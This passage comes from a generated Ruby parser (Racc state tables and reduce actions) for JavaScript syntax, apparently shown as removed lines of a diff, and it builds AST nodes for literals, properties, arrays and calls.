-294, -228, -294, -294, -280, -294, -294, - -294, -29, -294, -30, -31, -35, -39, -56, -69, -294, - -1, -294, -294, -294, -294, -47, -49, -78, -194, -241, - -294, -245, -83, -198, -294, -132, -133, -134, -135, -136, - -150, -151, -152, -153, -162, -168, -174, -180, -186, -294, - -216, -252, -294, -294, -251, -229, -294, -294, -267, -268, - -271, -294, -1, -294, -294, -294, -190, -294, -293, -1, - -292, -1, -294, -294, -294, -294, -294, -251, -225, -228, - -294, -294, -237, -294, -294, -272, -273, -294, -294, -294, - -1, -1, -294, -287, -294, -294, -1, -242, -243, -244, - -248, -192, -294, -229, -251, -294, -294, -269, -271, -294, - -274, -294, -281, -285, -294, -294, -1, -288, -289, -294, - -294, -294, -294, -249, -294, -1, -1, -294, -286, -32, - -294, -290, -246, -294, -250, -270, -276, -275, -282, -33, - -247 ] - -racc_goto_table = [ - 34, 209, 34, 182, 1, 200, 95, 185, 179, 112, - 455, 88, 50, 402, 50, 118, 286, 122, 368, 313, - 121, 205, 141, 142, 143, 144, 145, 146, 147, 148, - 149, 270, 271, 272, 452, 484, 279, 280, 281, 282, - 268, 269, 287, 273, 274, 275, 276, 277, 278, 95, - 285, 284, 95, 283, 194, 444, 447, 199, 440, 441, - 442, 443, 314, 294, 178, 34, 299, 446, 120, 177, - 34, 216, 304, 219, 252, 127, 218, 50, 403, 445, - 448, 260, 50, 524, 34, 503, 95, 480, 259, 264, - 95, 364, 181, 95, 113, 256, 50, 95, 410, 315, - 261, 95, 262, 210, 459, 83, 348, 349, 350, 508, - 502, 357, 358, 359, 360, 346, 347, 365, 351, 352, - 353, 354, 355, 356, 217, 363, 362, 510, 361, nil, - nil, 224, 265, 266, 267, 288, 289, 521, nil, 424, - nil, 467, nil, nil, nil, nil, nil, 95, 95, nil, - 478, nil, nil, nil, nil, nil, nil, nil, 95, nil, - 95, 303, nil, 300, nil, 302, nil, nil, nil, nil, - nil, 95, 95, nil, nil, 336, 323, 324, nil, nil, - nil, 465, nil, 489, nil, nil, 342, 95, 95, nil, - 494, nil, 495, 337, 95, nil, nil, 339, 95, 340, - nil, nil, nil, nil, nil, nil, nil, 343, 344, 345, - 366, 514, 515, nil, nil, 433, nil, 519, nil, nil, - nil, nil, 95, nil, nil, nil, nil, nil, nil, nil, - 371, 449, 450, nil, 379, 377, nil, 530, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, 415, - nil, nil, nil, 407, nil, nil, nil, 378, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, 304, 95, - 435, 436, 437, 438, 439, 304, 304, 304, 304, 304, - 304, 304, 304, 304, 304, 304, nil, nil, 482, nil, - nil, nil, 411, nil, 413, 414, nil, nil, nil, nil, - nil, nil, nil, nil, 95, nil, 95, 95, 501, nil, - nil, nil, nil, nil, nil, nil, nil, 429, nil, 431, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 426, nil, nil, 427, nil, 428, nil, - nil, 304, 458, nil, nil, 95, nil, nil, 95, nil, - 95, nil, nil, nil, nil, 95, nil, 432, 95, nil, - 430, 304, nil, 434, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 432, 432, 95, nil, nil, nil, nil, - 34, 466, 34, nil, nil, nil, nil, nil, nil, nil, - nil, nil, 50, 95, 50, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 34, nil, nil, nil, nil, - 497, nil, 500, nil, 512, nil, nil, 50, nil, nil, - 34, nil, nil, nil, nil, nil, nil, nil, 95, nil, - 432, 95, 50, nil, nil, nil, 483, nil, nil, nil, - nil, nil, nil, 523, nil, nil, nil, nil, nil, nil, - 432, 95, nil, 538, nil, 95, nil, 532, nil, 534, - 505, 95, 34, nil, nil, nil, 511, nil, nil, 34, - 540, 34, nil, 34, 50, 34, nil, nil, 95, nil, - nil, 50, nil, 50, nil, 50, nil, 50, nil, nil, - 34, 34, nil, nil, nil, nil, 34, nil, nil, nil, - nil, nil, 50, 50, nil, nil, 34, nil, 50, nil, - nil, nil, nil, nil, nil, nil, 34, nil, 50, nil, - 34, nil, 34, nil, nil, 34, 34, nil, 50, 536, - 537, nil, 50, 34, 50, nil, nil, 50, 50, nil, - nil, nil, nil, nil, nil, 50 ] - -racc_goto_check = [ - 29, 23, 29, 93, 1, 6, 44, 5, 87, 32, - 91, 31, 48, 89, 48, 37, 69, 37, 26, 80, - 39, 5, 49, 49, 49, 49, 49, 49, 49, 49, - 49, 53, 53, 53, 95, 97, 57, 57, 57, 57, - 51, 51, 72, 55, 55, 55, 55, 55, 55, 44, - 66, 63, 44, 60, 31, 61, 70, 31, 58, 58, - 58, 58, 84, 90, 86, 29, 90, 67, 35, 1, - 29, 37, 55, 37, 24, 82, 39, 48, 88, 64, - 73, 24, 48, 97, 29, 91, 44, 95, 43, 24, - 44, 69, 92, 44, 33, 31, 48, 44, 26, 94, - 37, 44, 31, 27, 96, 3, 53, 53, 53, 98, - 95, 57, 57, 57, 57, 51, 51, 72, 55, 55, - 55, 55, 55, 55, 35, 66, 63, 100, 60, nil, - nil, 82, 49, 49, 49, 24, 24, 95, nil, 26, - nil, 25, nil, nil, nil, nil, nil, 44, 44, nil, - 89, nil, nil, nil, nil, nil, nil, nil, 44, nil, - 44, 44, nil, 31, nil, 31, nil, nil, nil, nil, - nil, 44, 44, nil, nil, 24, 31, 31, nil, nil, - nil, 26, nil, 25, nil, nil, 24, 44, 44, nil, - 25, nil, 25, 31, 44, nil, nil, 37, 44, 31, - nil, nil, nil, nil, nil, nil, nil, 49, 49, 49, - 24, 25, 25, nil, nil, 80, nil, 25, nil, nil, - nil, nil, 44, nil, nil, nil, nil, nil, nil, nil, - 32, 80, 80, nil, 93, 87, nil, 25, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, 23, - nil, nil, nil, 6, nil, nil, nil, 24, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, 55, 44, - 55, 55, 55, 55, 55, 55, 55, 55, 55, 55, - 55, 55, 55, 55, 55, 55, nil, nil, 80, nil, - nil, nil, 24, nil, 24, 24, nil, nil, nil, nil, - nil, nil, nil, nil, 44, nil, 44, 44, 80, nil, - nil, nil, nil, nil, nil, nil, nil, 5, nil, 5, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 24, nil, nil, 24, nil, 24, nil, - nil, 55, 5, nil, nil, 44, nil, nil, 44, nil, - 44, nil, nil, nil, nil, 44, nil, 44, 44, nil, - 31, 55, nil, 31, nil, nil, nil, nil, nil, nil, - nil, nil, nil, 44, 44, 44, nil, nil, nil, nil, - 29, 24, 29, nil, nil, nil, nil, nil, nil, nil, - nil, nil, 48, 44, 48, nil, nil, nil, nil, nil, - nil, nil, nil, nil, nil, 29, nil, nil, nil, nil, - 5, nil, 5, nil, 6, nil, nil, 48, nil, nil, - 29, nil, nil, nil, nil, nil, nil, nil, 44, nil, - 44, 44, 48, nil, nil, nil, 31, nil, nil, nil, - nil, nil, nil, 5, nil, nil, nil, nil, nil, nil, - 44, 44, nil, 6, nil, 44, nil, 5, nil, 5, - 31, 44, 29, nil, nil, nil, 31, nil, nil, 29, - 5, 29, nil, 29, 48, 29, nil, nil, 44, nil, - nil, 48, nil, 48, nil, 48, nil, 48, nil, nil, - 29, 29, nil, nil, nil, nil, 29, nil, nil, nil, - nil, nil, 48, 48, nil, nil, 29, nil, 48, nil, - nil, nil, nil, nil, nil, nil, 29, nil, 48, nil, - 29, nil, 29, nil, nil, 29, 29, nil, 48, 1, - 1, nil, 48, 29, 48, nil, nil, 48, 48, nil, - nil, nil, nil, nil, nil, 48 ] - -racc_goto_pointer = [ - nil, 4, nil, 103, nil, -63, -74, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, - nil, nil, nil, -85, -38, -279, -231, 17, nil, 0, - nil, -21, -24, 61, nil, 32, nil, -20, nil, -16, - nil, nil, nil, -31, -26, nil, nil, nil, 12, -18, - nil, -113, nil, -124, nil, -115, nil, -128, -332, nil, - -115, -339, nil, -118, -316, nil, -120, -329, nil, -155, - -341, nil, -130, -318, nil, nil, nil, nil, nil, nil, - -168, nil, 36, nil, -125, nil, -2, -58, -238, -303, - -117, -394, 25, -64, -88, -367, -302, -425, -375, nil, - -358 ] - -racc_goto_default = [ - nil, 468, 2, 3, 4, 5, 6, 7, 8, 9, - 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, - 20, 21, 29, nil, 110, nil, nil, nil, 89, 85, - 30, 451, nil, nil, 114, 91, 90, nil, 35, 94, - 38, 93, 37, nil, 140, 39, 96, 49, 97, 98, - 51, 99, 52, 100, 53, 101, 54, 102, 305, 55, - 103, 306, 56, 104, 307, 57, 105, 308, 58, 106, - 309, 59, 107, 310, 60, 108, 311, 61, 109, 312, - nil, 62, 383, 63, nil, 64, nil, nil, nil, nil, - nil, nil, nil, nil, nil, nil, nil, nil, nil, 485, - 486 ] - -racc_reduce_table = [ - 0, 0, :racc_error, - 0, 89, :_reduce_1, - 1, 89, :_reduce_2, - 1, 90, :_reduce_none, - 2, 90, :_reduce_4, - 1, 91, :_reduce_none, - 1, 91, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 93, :_reduce_none, - 1, 110, :_reduce_23, - 1, 110, :_reduce_24, - 1, 110, :_reduce_25, - 1, 110, :_reduce_26, - 1, 110, :_reduce_27, - 1, 110, :_reduce_28, - 3, 111, :_reduce_29, - 3, 111, :_reduce_30, - 3, 111, :_reduce_31, - 7, 111, :_reduce_32, - 8, 111, :_reduce_33, - 1, 115, :_reduce_34, - 3, 115, :_reduce_35, - 1, 116, :_reduce_none, - 2, 116, :_reduce_37, - 3, 116, :_reduce_38, - 4, 116, :_reduce_39, - 1, 117, :_reduce_40, - 1, 117, :_reduce_none, - 1, 117, :_reduce_none, - 1, 117, :_reduce_43, - 3, 117, :_reduce_44, - 3, 118, :_reduce_45, - 3, 118, :_reduce_46, - 5, 118, :_reduce_47, - 2, 121, :_reduce_48, - 4, 121, :_reduce_49, - 0, 120, :_reduce_50, - 1, 120, :_reduce_none, - 1, 122, :_reduce_52, - 2, 122, :_reduce_53, - 1, 123, :_reduce_none, - 1, 123, :_reduce_none, - 4, 123, :_reduce_56, - 3, 123, :_reduce_57, - 3, 123, :_reduce_58, - 1, 126, :_reduce_none, - 4, 126, :_reduce_60, - 3, 126, :_reduce_61, - 3, 126, :_reduce_62, - 1, 127, :_reduce_none, - 2, 127, :_reduce_64, - 1, 128, :_reduce_none, - 2, 128, :_reduce_66, - 2, 129, :_reduce_67, - 2, 129, :_reduce_68, - 4, 129, :_reduce_69, - 3, 129, :_reduce_70, - 2, 130, :_reduce_71, - 2, 130, :_reduce_72, - 4, 130, :_reduce_73, - 3, 130, :_reduce_74, - 2, 125, :_reduce_75, - 3, 125, :_reduce_76, - 1, 131, :_reduce_77, - 3, 131, :_reduce_78, - 1, 132, :_reduce_none, - 1, 132, :_reduce_none, - 1, 133, :_reduce_none, - 1, 133, :_reduce_none, - 1, 134, :_reduce_none, - 2, 134, :_reduce_84, - 2, 134, :_reduce_85, - 1, 135, :_reduce_none, - 2, 135, :_reduce_87, - 2, 135, :_reduce_88, - 2, 136, :_reduce_89, - 2, 136, :_reduce_90, - 2, 136, :_reduce_91, - 2, 136, :_reduce_92, - 2, 136, :_reduce_93, - 2, 136, :_reduce_94, - 2, 136, :_reduce_95, - 2, 136, :_reduce_96, - 2, 136, :_reduce_97, - 1, 137, :_reduce_none, - 1, 137, :_reduce_none, - 1, 138, :_reduce_none, - 1, 138, :_reduce_none, - 1, 139, :_reduce_none, - 3, 139, :_reduce_103, - 3, 139, :_reduce_104, - 3, 139, :_reduce_105, - 1, 140, :_reduce_none, - 3, 140, :_reduce_107, - 3, 140, :_reduce_108, - 3, 140, :_reduce_109, - 1, 141, :_reduce_none, - 3, 141, :_reduce_111, - 3, 141, :_reduce_112, - 1, 142, :_reduce_none, - 3, 142, :_reduce_114, - 3, 142, :_reduce_115, - 1, 143, :_reduce_none, - 3, 143, :_reduce_117, - 3, 143, :_reduce_118, - 3, 143, :_reduce_119, - 1, 144, :_reduce_none, - 3, 144, :_reduce_121, - 3, 144, :_reduce_122, - 3, 144, :_reduce_123, - 1, 145, :_reduce_none, - 3, 145, :_reduce_125, - 3, 145, :_reduce_126, - 3, 145, :_reduce_127, - 3, 145, :_reduce_128, - 3, 145, :_reduce_129, - 3, 145, :_reduce_130, - 1, 146, :_reduce_none, - 3, 146, :_reduce_132, - 3, 146, :_reduce_133, - 3, 146, :_reduce_134, - 3, 146, :_reduce_135, - 3, 146, :_reduce_136, - 1, 147, :_reduce_none, - 3, 147, :_reduce_138, - 3, 147, :_reduce_139, - 3, 147, :_reduce_140, - 3, 147, :_reduce_141, - 3, 147, :_reduce_142, - 3, 147, :_reduce_143, - 1, 148, :_reduce_none, - 3, 148, :_reduce_145, - 3, 148, :_reduce_146, - 3, 148, :_reduce_147, - 3, 148, :_reduce_148, - 1, 149, :_reduce_none, - 3, 149, :_reduce_150, - 3, 149, :_reduce_151, - 3, 149, :_reduce_152, - 3, 149, :_reduce_153, - 1, 150, :_reduce_none, - 3, 150, :_reduce_155, - 3, 150, :_reduce_156, - 3, 150, :_reduce_157, - 3, 150, :_reduce_158, - 1, 151, :_reduce_none, - 3, 151, :_reduce_160, - 1, 152, :_reduce_none, - 3, 152, :_reduce_162, - 1, 153, :_reduce_none, - 3, 153, :_reduce_164, - 1, 154, :_reduce_none, - 3, 154, :_reduce_166, - 1, 155, :_reduce_none, - 3, 155, :_reduce_168, - 1, 156, :_reduce_none, - 3, 156, :_reduce_170, - 1, 157, :_reduce_none, - 3, 157, :_reduce_172, - 1, 158, :_reduce_none, - 3, 158, :_reduce_174, - 1, 159, :_reduce_none, - 3, 159, :_reduce_176, - 1, 160, :_reduce_none, - 3, 160, :_reduce_178, - 1, 161, :_reduce_none, - 3, 161, :_reduce_180, - 1, 162, :_reduce_none, - 3, 162, :_reduce_182, - 1, 163, :_reduce_none, - 3, 163, :_reduce_184, - 1, 164, :_reduce_none, - 3, 164, :_reduce_186, - 1, 165, :_reduce_none, - 3, 165, :_reduce_188, - 1, 166, :_reduce_none, - 5, 166, :_reduce_190, - 1, 167, :_reduce_none, - 5, 167, :_reduce_192, - 1, 169, :_reduce_none, - 5, 169, :_reduce_194, - 1, 112, :_reduce_none, - 3, 112, :_reduce_196, - 1, 168, :_reduce_none, - 3, 168, :_reduce_198, - 1, 171, :_reduce_none, - 3, 171, :_reduce_200, - 1, 170, :_reduce_201, - 1, 170, :_reduce_202, - 1, 170, :_reduce_203, - 1, 170, :_reduce_204, - 1, 170, :_reduce_205, - 1, 170, :_reduce_206, - 1, 170, :_reduce_207, - 1, 170, :_reduce_208, - 1, 170, :_reduce_209, - 1, 170, :_reduce_210, - 1, 170, :_reduce_211, - 1, 170, :_reduce_212, - 1, 119, :_reduce_none, - 3, 119, :_reduce_214, - 1, 172, :_reduce_none, - 3, 172, :_reduce_216, - 1, 173, :_reduce_none, - 3, 173, :_reduce_218, - 3, 94, :_reduce_219, - 3, 95, :_reduce_220, - 3, 95, :_reduce_221, - 1, 174, :_reduce_222, - 3, 174, :_reduce_223, - 1, 176, :_reduce_224, - 3, 176, :_reduce_225, - 1, 175, :_reduce_226, - 2, 175, :_reduce_227, - 1, 177, :_reduce_228, - 2, 177, :_reduce_229, - 3, 96, :_reduce_230, - 3, 96, :_reduce_231, - 1, 180, :_reduce_232, - 3, 180, :_reduce_233, - 1, 181, :_reduce_234, - 2, 181, :_reduce_235, - 2, 178, :_reduce_236, - 2, 179, :_reduce_237, - 1, 97, :_reduce_238, - 2, 98, :_reduce_239, - 2, 98, :_reduce_240, - 5, 99, :_reduce_241, - 7, 99, :_reduce_242, - 7, 100, :_reduce_243, - 7, 100, :_reduce_244, - 5, 100, :_reduce_245, - 9, 100, :_reduce_246, - 10, 100, :_reduce_247, - 7, 100, :_reduce_248, - 8, 100, :_reduce_249, - 9, 100, :_reduce_250, - 0, 183, :_reduce_251, - 1, 183, :_reduce_none, - 0, 182, :_reduce_253, - 1, 182, :_reduce_none, - 2, 101, :_reduce_255, - 2, 101, :_reduce_256, - 3, 101, :_reduce_257, - 3, 101, :_reduce_258, - 2, 102, :_reduce_259, - 2, 102, :_reduce_260, - 3, 102, :_reduce_261, - 3, 102, :_reduce_262, - 2, 103, :_reduce_263, - 2, 103, :_reduce_264, - 3, 103, :_reduce_265, - 3, 103, :_reduce_266, - 5, 104, :_reduce_267, - 5, 105, :_reduce_268, - 3, 184, :_reduce_269, - 5, 184, :_reduce_270, - 0, 185, :_reduce_271, - 1, 185, :_reduce_none, - 1, 187, :_reduce_273, - 2, 187, :_reduce_274, - 4, 188, :_reduce_275, - 3, 186, :_reduce_276, - 3, 106, :_reduce_277, - 3, 107, :_reduce_278, - 3, 107, :_reduce_279, - 4, 108, :_reduce_280, - 7, 108, :_reduce_281, - 9, 108, :_reduce_282, - 2, 109, :_reduce_283, - 2, 109, :_reduce_284, - 7, 92, :_reduce_285, - 8, 92, :_reduce_286, - 6, 124, :_reduce_287, - 7, 124, :_reduce_288, - 7, 124, :_reduce_289, - 8, 124, :_reduce_290, - 1, 114, :_reduce_291, - 3, 114, :_reduce_292, - 1, 113, :_reduce_293 ] - -racc_reduce_n = 294 - -racc_shift_n = 541 - -racc_token_table = { - false => 0, - :error => 1, - :NULL => 2, - :TRUE => 3, - :FALSE => 4, - :BREAK => 5, - :CASE => 6, - :CATCH => 7, - :CONST => 8, - :CONTINUE => 9, - :DEBUGGER => 10, - :DEFAULT => 11, - :DELETE => 12, - :DO => 13, - :ELSE => 14, - :ENUM => 15, - :FINALLY => 16, - :FOR => 17, - :FUNCTION => 18, - :IF => 19, - :IN => 20, - :INSTANCEOF => 21, - :NEW => 22, - :RETURN => 23, - :SWITCH => 24, - :THIS => 25, - :THROW => 26, - :TRY => 27, - :TYPEOF => 28, - :VAR => 29, - :VOID => 30, - :WHILE => 31, - :WITH => 32, - :EQEQ => 33, - :NE => 34, - :STREQ => 35, - :STRNEQ => 36, - :LE => 37, - :GE => 38, - :OR => 39, - :AND => 40, - :PLUSPLUS => 41, - :MINUSMINUS => 42, - :LSHIFT => 43, - :RSHIFT => 44, - :URSHIFT => 45, - :PLUSEQUAL => 46, - :MINUSEQUAL => 47, - :MULTEQUAL => 48, - :DIVEQUAL => 49, - :LSHIFTEQUAL => 50, - :RSHIFTEQUAL => 51, - :URSHIFTEQUAL => 52, - :ANDEQUAL => 53, - :MODEQUAL => 54, - :XOREQUAL => 55, - :OREQUAL => 56, - :REGEXP => 57, - :NUMBER => 58, - :STRING => 59, - :IDENT => 60, - :AUTOPLUSPLUS => 61, - :AUTOMINUSMINUS => 62, - :IF_WITHOUT_ELSE => 63, - ":" => 64, - "(" => 65, - ")" => 66, - "{" => 67, - "}" => 68, - "," => 69, - "[" => 70, - "]" => 71, - "." => 72, - "+" => 73, - "-" => 74, - "~" => 75, - "!" => 76, - "*" => 77, - "/" => 78, - "%" => 79, - "<" => 80, - ">" => 81, - "&" => 82, - "^" => 83, - "|" => 84, - "?" => 85, - "=" => 86, - ";" => 87 } - -racc_nt_base = 88 - -racc_use_result_var = true - -Racc_arg = [ - racc_action_table, - racc_action_check, - racc_action_default, - racc_action_pointer, - racc_goto_table, - racc_goto_check, - racc_goto_default, - racc_goto_pointer, - racc_nt_base, - racc_reduce_table, - racc_token_table, - racc_shift_n, - racc_reduce_n, - racc_use_result_var ] - -Racc_token_to_s_table = [ - "$end", - "error", - "NULL", - "TRUE", - "FALSE", - "BREAK", - "CASE", - "CATCH", - "CONST", - "CONTINUE", - "DEBUGGER", - "DEFAULT", - "DELETE", - "DO", - "ELSE", - "ENUM", - "FINALLY", - "FOR", - "FUNCTION", - "IF", - "IN", - "INSTANCEOF", - "NEW", - "RETURN", - "SWITCH", - "THIS", - "THROW", - "TRY", - "TYPEOF", - "VAR", - "VOID", - "WHILE", - "WITH", - "EQEQ", - "NE", - "STREQ", - "STRNEQ", - "LE", - "GE", - "OR", - "AND", - "PLUSPLUS", - "MINUSMINUS", - "LSHIFT", - "RSHIFT", - "URSHIFT", - "PLUSEQUAL", - "MINUSEQUAL", - "MULTEQUAL", - "DIVEQUAL", - "LSHIFTEQUAL", - "RSHIFTEQUAL", - "URSHIFTEQUAL", - "ANDEQUAL", - "MODEQUAL", - "XOREQUAL", - "OREQUAL", - "REGEXP", - "NUMBER", - "STRING", - "IDENT", - "AUTOPLUSPLUS", - "AUTOMINUSMINUS", - "IF_WITHOUT_ELSE", - "\":\"", - "\"(\"", - "\")\"", - "\"{\"", - "\"}\"", - "\",\"", - "\"[\"", - "\"]\"", - "\".\"", - "\"+\"", - "\"-\"", - "\"~\"", - "\"!\"", - "\"*\"", - "\"/\"", - "\"%\"", - "\"<\"", - "\">\"", - "\"&\"", - "\"^\"", - "\"|\"", - "\"?\"", - "\"=\"", - "\";\"", - "$start", - "SourceElements", - "SourceElementList", - "SourceElement", - "FunctionDeclaration", - "Statement", - "Block", - "VariableStatement", - "ConstStatement", - "EmptyStatement", - "ExprStatement", - "IfStatement", - "IterationStatement", - "ContinueStatement", - "BreakStatement", - "ReturnStatement", - "WithStatement", - "SwitchStatement", - "LabelledStatement", - "ThrowStatement", - "TryStatement", - "DebuggerStatement", - "Literal", - "Property", - "AssignmentExpr", - "FunctionBody", - "FormalParameterList", - "PropertyList", - "PrimaryExpr", - "PrimaryExprNoBrace", - "ArrayLiteral", - "Expr", - "ElisionOpt", - "ElementList", - "Elision", - "MemberExpr", - "FunctionExpr", - "Arguments", - "MemberExprNoBF", - "NewExpr", - "NewExprNoBF", - "CallExpr", - "CallExprNoBF", - "ArgumentList", - "LeftHandSideExpr", - "LeftHandSideExprNoBF", - "PostfixExpr", - "PostfixExprNoBF", - "UnaryExprCommon", - "UnaryExpr", - "UnaryExprNoBF", - "MultiplicativeExpr", - "MultiplicativeExprNoBF", - "AdditiveExpr", - "AdditiveExprNoBF", - "ShiftExpr", - "ShiftExprNoBF", - "RelationalExpr", - "RelationalExprNoIn", - "RelationalExprNoBF", - "EqualityExpr", - "EqualityExprNoIn", - "EqualityExprNoBF", - "BitwiseANDExpr", - "BitwiseANDExprNoIn", - "BitwiseANDExprNoBF", - "BitwiseXORExpr", - "BitwiseXORExprNoIn", - "BitwiseXORExprNoBF", - "BitwiseORExpr", - "BitwiseORExprNoIn", - "BitwiseORExprNoBF", - "LogicalANDExpr", - "LogicalANDExprNoIn", - "LogicalANDExprNoBF", - "LogicalORExpr", - "LogicalORExprNoIn", - "LogicalORExprNoBF", - "ConditionalExpr", - "ConditionalExprNoIn", - "AssignmentExprNoIn", - "ConditionalExprNoBF", - "AssignmentOperator", - "AssignmentExprNoBF", - "ExprNoIn", - "ExprNoBF", - "VariableDeclarationList", - "VariableDeclaration", - "VariableDeclarationListNoIn", - "VariableDeclarationNoIn", - "Initializer", - "InitializerNoIn", - "ConstDeclarationList", - "ConstDeclaration", - "ExprNoInOpt", - "ExprOpt", - "CaseBlock", - "CaseClausesOpt", - "DefaultClause", - "CaseClauses", - "CaseClause" ] - -Racc_debug_parser = true - -##### State transition tables end ##### - -# reduce 0 omitted - -module_eval(<<'.,.,', 'parser.y', 42) - def _reduce_1(val, _values, result) - result = SourceElementsNode.new([]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 43) - def _reduce_2(val, _values, result) - result = SourceElementsNode.new([val].flatten) - result - end -.,., - -# reduce 3 omitted - -module_eval(<<'.,.,', 'parser.y', 47) - def _reduce_4(val, _values, result) - result = val.flatten - result - end -.,., - -# reduce 5 omitted - -# reduce 6 omitted - -# reduce 7 omitted - -# reduce 8 omitted - -# reduce 9 omitted - -# reduce 10 omitted - -# reduce 11 omitted - -# reduce 12 omitted - -# reduce 13 omitted - -# reduce 14 omitted - -# reduce 15 omitted - -# reduce 16 omitted - -# reduce 17 omitted - -# reduce 18 omitted - -# reduce 19 omitted - -# reduce 20 omitted - -# reduce 21 omitted - -# reduce 22 omitted - -module_eval(<<'.,.,', 'parser.y', 75) - def _reduce_23(val, _values, result) - result = NullNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 76) - def _reduce_24(val, _values, result) - result = TrueNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 77) - def _reduce_25(val, _values, result) - result = FalseNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 78) - def _reduce_26(val, _values, result) - result = NumberNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 79) - def _reduce_27(val, _values, result) - result = StringNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 80) - def _reduce_28(val, _values, result) - result = RegexpNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 85) - def _reduce_29(val, _values, result) - result = PropertyNode.new(val[0], val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 87) - def _reduce_30(val, _values, result) - result = PropertyNode.new(val.first, val.last) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 88) - def _reduce_31(val, _values, result) - result = PropertyNode.new(val.first, val.last) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 90) - def _reduce_32(val, _values, result) - klass = property_class_for(val.first) - yyabort unless klass - result = klass.new(val[1], FunctionExprNode.new(nil, val[5])) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 95) - def _reduce_33(val, _values, result) - klass = property_class_for(val.first) - yyabort unless klass - result = klass.new(val[1], FunctionExprNode.new(nil, val[6], val[3])) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 102) - def _reduce_34(val, _values, result) - result = val - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 103) - def _reduce_35(val, _values, result) - result = [val.first, val.last].flatten - result - end -.,., - -# reduce 36 omitted - -module_eval(<<'.,.,', 'parser.y', 108) - def _reduce_37(val, _values, result) - result = ObjectLiteralNode.new([]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 109) - def _reduce_38(val, _values, result) - result = ObjectLiteralNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 110) - def _reduce_39(val, _values, result) - result = ObjectLiteralNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 114) - def _reduce_40(val, _values, result) - result = ThisNode.new(val.first) - result - end -.,., - -# reduce 41 omitted - -# reduce 42 omitted - -module_eval(<<'.,.,', 'parser.y', 117) - def _reduce_43(val, _values, result) - result = ResolveNode.new(val.first) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 118) - def _reduce_44(val, _values, result) - result = ParentheticalNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 122) - def _reduce_45(val, _values, result) - result = ArrayNode.new([] + [nil] * val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 123) - def _reduce_46(val, _values, result) - result = ArrayNode.new(val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 125) - def _reduce_47(val, _values, result) - result = ArrayNode.new(val[1] + [nil] * val[3]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 131) - def _reduce_48(val, _values, result) - result = [nil] * val[0] + [ElementNode.new(val[1])] - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 134) - def _reduce_49(val, _values, result) - result = [val[0], [nil] * val[2], ElementNode.new(val[3])].flatten - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 139) - def _reduce_50(val, _values, result) - result = 0 - result - end -.,., - -# reduce 51 omitted - -module_eval(<<'.,.,', 'parser.y', 144) - def _reduce_52(val, _values, result) - result = 1 - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 145) - def _reduce_53(val, _values, result) - result = val.first + 1 - result - end -.,., - -# reduce 54 omitted - -# reduce 55 omitted - -module_eval(<<'.,.,', 'parser.y', 151) - def _reduce_56(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 152) - def _reduce_57(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 153) - def _reduce_58(val, _values, result) - result = NewExprNode.new(val[1], val[2]) - result - end -.,., - -# reduce 59 omitted - -module_eval(<<'.,.,', 'parser.y', 159) - def _reduce_60(val, _values, result) - result = BracketAccessorNode.new(val[0], val[2]) - - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 161) - def _reduce_61(val, _values, result) - result = DotAccessorNode.new(val[0], val[2]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 162) - def _reduce_62(val, _values, result) - result = NewExprNode.new(val[1], val[2]) - result - end -.,., - -# reduce 63 omitted - -module_eval(<<'.,.,', 'parser.y', 167) - def _reduce_64(val, _values, result) - result = NewExprNode.new(val[1], ArgumentsNode.new([])) - result - end -.,., - -# reduce 65 omitted - -module_eval(<<'.,.,', 'parser.y', 172) - def _reduce_66(val, _values, result) - result = NewExprNode.new(val[1], ArgumentsNode.new([])) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 176) - def _reduce_67(val, _values, result) - result = FunctionCallNode.new(val[0], val[1]) - result - end -.,., - -module_eval(<<'.,.,', 'parser.y', 177) - def 